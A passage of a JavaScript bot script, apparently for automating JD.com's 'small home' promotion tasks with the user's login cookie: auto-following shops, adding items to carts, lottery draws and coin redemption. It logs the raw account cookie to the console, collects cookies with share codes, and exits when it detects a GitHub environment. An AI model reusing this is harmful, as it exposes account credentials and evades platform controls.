createAssistUser(code, $.createAssistUserID); + } + console.log(`\n去帮助作者\n`) + await helpFriends(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function smallHome() { + await loginHome(); + await ssjjRooms(); + // await helpFriends(); + if (!$.isUnLock) return; + await createInviteUser(); + await queryDraw(); + await lottery(); + await doAllTask(); + await queryByUserId(); + await queryFurnituresCenterList(); + await showMsg(); +} +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} +async function lottery() { + if ($.freeDrawCount > 0) { + await drawRecord($.lotteryId); + } else { + console.log(`免费抽奖机会今日已使用\n`) + } +} + +async function doChannelsListTask(taskId, taskType) { + await queryChannelsList(taskId); + for (let item of $.queryChannelsList) { + if (item.showOrder === 1) { + await $.wait(1000) + await followChannel(taskId, item.id) + await queryDoneTaskRecord(taskId, taskType); + } + } +} +async function helpFriends() { + // await updateInviteCode(); + // if (!$.inviteCodes) await updateInviteCodeCDN(); + if ($.inviteCodes && $.inviteCodes['inviteCode']) { + for (let item of $.inviteCodes.inviteCode) { + if (!item) continue + await createAssistUser(item, $.createAssistUserID); + } + } +} +async function doAllTask() { + await queryAllTaskInfo();//获取任务详情列表$.taskList + console.log(` 任务名称 完成进度 `) + for (let item of $.taskList) { + console.log(`${item.ssjjTaskInfo.name} ${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || (item.ssjjTaskInfo.type === 1 ? 4: 1)}`) + } + for (let item of $.taskList) { + if (item.ssjjTaskInfo.type === 1) { + //邀请好友助力自己 + $.createAssistUserID = item.ssjjTaskInfo.id; + console.log(`createAssistUserID:${item.ssjjTaskInfo.id}`) + console.log(`\n\n助力您的好友:${item.doneNum}人`) + } + if (item.ssjjTaskInfo.type === 2) { + //每日打卡 + if (item.doneNum === (item.ssjjTaskInfo.awardOfDayNum || 1)) { + console.log(`${item.ssjjTaskInfo.name}已完成(${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || 1})`) + continue + } + await clock(item.ssjjTaskInfo.id, item.ssjjTaskInfo.awardWoB) + } + // 限时连连看 + if (item.ssjjTaskInfo.type === 3) { + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { + await game(item.ssjjTaskInfo.id, item.doneNum); + } + } + if (item.ssjjTaskInfo.type === 4) { + //关注店铺 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { + await followShops('followShops', item.ssjjTaskInfo.id);//一键关注店铺 + await queryDoneTaskRecord(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type); + } + } + if (item.ssjjTaskInfo.type === 5) { + //浏览店铺 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { + await browseChannels('browseShops', item.ssjjTaskInfo.id, item.browseId); + } + } + if (item.ssjjTaskInfo.type === 6) { + //关注4个频道 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + await doChannelsListTask(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type) + } + if (item.ssjjTaskInfo.type === 7) { + //浏览3个频道 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { + await browseChannels('browseChannels', item.ssjjTaskInfo.id, item.browseId); + } + } + isPurchaseShops = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS : isPurchaseShops) : ($.getdata("isPurchaseShops") ? $.getdata("isPurchaseShops") : isPurchaseShops); + if (isPurchaseShops && item.ssjjTaskInfo.type === 9) { + //加购商品 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { + await followShops('purchaseCommodities', item.ssjjTaskInfo.id);//一键加购商品 + await queryDoneTaskRecord(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type); + } + } + if (item.ssjjTaskInfo.type === 10) { + //浏览商品 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { + await browseChannels('browseCommodities', item.ssjjTaskInfo.id, item.browseId); + } + } + if (item.ssjjTaskInfo.type === 11) { + //浏览会场 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { + await browseChannels('browseMeetings' ,item.ssjjTaskInfo.id, item.browseId); + } + // await browseChannels('browseMeetings' ,item.ssjjTaskInfo.id, item.browseId); + // await doAllTask(); + } + } +} +function queryFurnituresCenterList() { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-furnitures-center/queryFurnituresCenterList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + let { buy, list } = data.body; + $.canBuyList = []; + list.map((item, index) => { + if (buy.some((buyItem) => buyItem === item.id)) return + $.canBuyList.push(item); + }) + $.canBuyList.sort(sortByjdBeanNum); + if ($.canBuyList[0].needWoB <= $.woB) { + await furnituresCenterPurchase($.canBuyList[0].id, $.canBuyList[0].jdBeanNum); + } else { + console.log(`\n兑换${$.canBuyList[0].jdBeanNum}京豆失败:当前wo币${$.woB}不够兑换所需的${$.canBuyList[0].needWoB}WO币`) + message += `【装饰领京豆】兑换${$.canBuyList[0].jdBeanNum}京豆失败,原因:WO币不够\n`; + } + // for (let canBuyItem of $.canBuyList) { + // if (canBuyItem.needWoB <= $.woB) { + // await furnituresCenterPurchase(canBuyItem.id, canBuyItem.jdBeanNum); + // break + // } + // } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//装饰领京豆 +function furnituresCenterPurchase(id, jdBeanNum) { + return new Promise(resolve => { + $.post(taskPostUrl(`ssjj-furnitures-center/furnituresCenterPurchase/${id}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + message += `【装饰领京豆】${jdBeanNum}兑换成功\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取详情 +function queryByUserId() { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-wo-home-info/queryByUserId/2`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + message += `【小窝名】${data.body.name}\n`; + $.woB = data.body.woB; + message += `【当前WO币】${data.body.woB}\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取需要关注的频道列表 +function queryChannelsList(taskId) { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-task-channels/queryChannelsList/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + $.queryChannelsList = data.body; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//浏览频道,浏览会场,浏览商品,浏览店铺API +function browseChannels(functionID ,taskId, browseId) { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/${functionID}/${taskId}/${browseId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`${functionID === 'browseChannels' ? '浏览频道' : functionID === 'browseMeetings' ? '浏览会场' : functionID === 'browseShops' ? '浏览店铺' : '浏览商品'}`, data) + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//记录已关注的频道 +function queryDoneTaskRecord(taskId, taskType) { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/queryDoneTaskRecord/${taskType}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//一键关注店铺,一键加购商品API +function followShops(functionID, taskId) { + return new Promise(async resolve => { + $.get(taskUrl(`/ssjj-task-record/${functionID}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + console.log(`${functionID === 'followShops'? '一键关注店铺': '一键加购商品'}结果:${data.head.msg}`); + // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//关注频道API +function followChannel(taskId, channelId) { + return new Promise(async resolve => { + $.get(taskUrl(`/ssjj-task-record/followChannel/${channelId}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function createInviteUser() { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/createInviteUser`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + if (data.body.id) { + console.log(`\n您的${$.name}shareCode(每天都是变化的):【${data.body.id}】\n`); + $.shareCode = data.body.id; + $.newShareCodes.push({ 'code': data.body.id, 'token': $.token, cookie }); + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function createAssistUser(inviteId, taskId) { + console.log(`${inviteId}, ${taskId}`, `${cookie}`); + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/createAssistUser/${inviteId}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + console.log(`\n给好友${data.body.inviteId}:【${data.head.msg}】\n`) + } + } else { + console.log(`助力失败${JSON.stringify(data)}}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function game(taskId, index, awardWoB = 100) { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/game/${index}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function clock(taskId, awardWoB) { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/clock/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + message += `【每日打卡】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryAllTaskInfo() { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-task-info/queryAllTaskInfo/2`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + $.taskList = data.body; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//免费抽奖 +function drawRecord(id) { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-draw-record/draw/${id}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + message += `【免费抽奖】获得:${data.body.name}\n`; + } else { + message += `【免费抽奖】未中奖\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询免费抽奖机会 +function queryDraw() { + return new Promise(resolve => { + $.get(taskUrl("ssjj-draw-center/queryDraw"), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + $.freeDrawCount = data.body.freeDrawCount;//免费抽奖次数 + $.lotteryId = data.body.center.id; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询是否开启了此活动 +function ssjjRooms() { + return new Promise(resolve => { + $.get(taskUrl("ssjj-rooms/info/%E5%AE%A2%E5%8E%85"), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + $.isUnLock = data.body.isUnLock; + if (!$.isUnLock) { + console.log(`京东账号${$.index}${$.nickName}未开启此活动\n`); + //$.msg($.name, '', `京东账号${$.index}${$.nickName}未开启此活动\n点击弹窗去开启此活动( ̄▽ ̄)"`, {"open-url": "openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html%22%20%7D"}); + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function loginHome() { + return new Promise(resolve => { + const options = { + "url": "https://jdhome.m.jd.com/saas/framework/encrypt/pin?appId=6d28460967bda11b78e077b66751d2b0", + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "0", + "Content-Type": "application/json", + "Cookie": cookie, + "Host": "jdhome.m.jd.com", + "Origin": "https://jdhome.m.jd.com", + "Referer": "https://jdhome.m.jd.com/dist/taro/index.html/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + await login(data.data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function login(userName) { + return new Promise(resolve => { + const body = { + "body": { + "client": 2, + userName + } + }; + const options = { + "url": `${JD_API_HOST}/user-info/login`, + "body": JSON.stringify(body), + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "lkyl.dianpusoft.cn", + "Origin": "https://lkyl.dianpusoft.cn", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.head.code === 200) { + $.token = data.head.token; + $.helpToken.push(data.head.token) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function updateInviteCode(url = 'https://raw.githubusercontent.com/xxx/updateTeam/master/jd_updateSmallHomeInviteCode.json') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + } else { + $.inviteCodes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function updateInviteCodeCDN(url) { + return new Promise(async resolve => { + $.get({url, headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}, timeout: 200000}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.inviteCodes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(3000) + resolve(); + }) +} +function taskUrl(url, body = {}) { + return { + url: `${JD_API_HOST}/${url}?body=${escape(body)}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "content-type": "application/json", + "Host": "lkyl.dianpusoft.cn", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", + "token": $.token, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function taskPostUrl(url) { + return { + url: `${JD_API_HOST}/${url}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "content-type": "application/json", + "Host": "lkyl.dianpusoft.cn", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", + "token": $.token, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function sortByjdBeanNum(a, b) { + return a['jdBeanNum'] - b['jdBeanNum']; +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 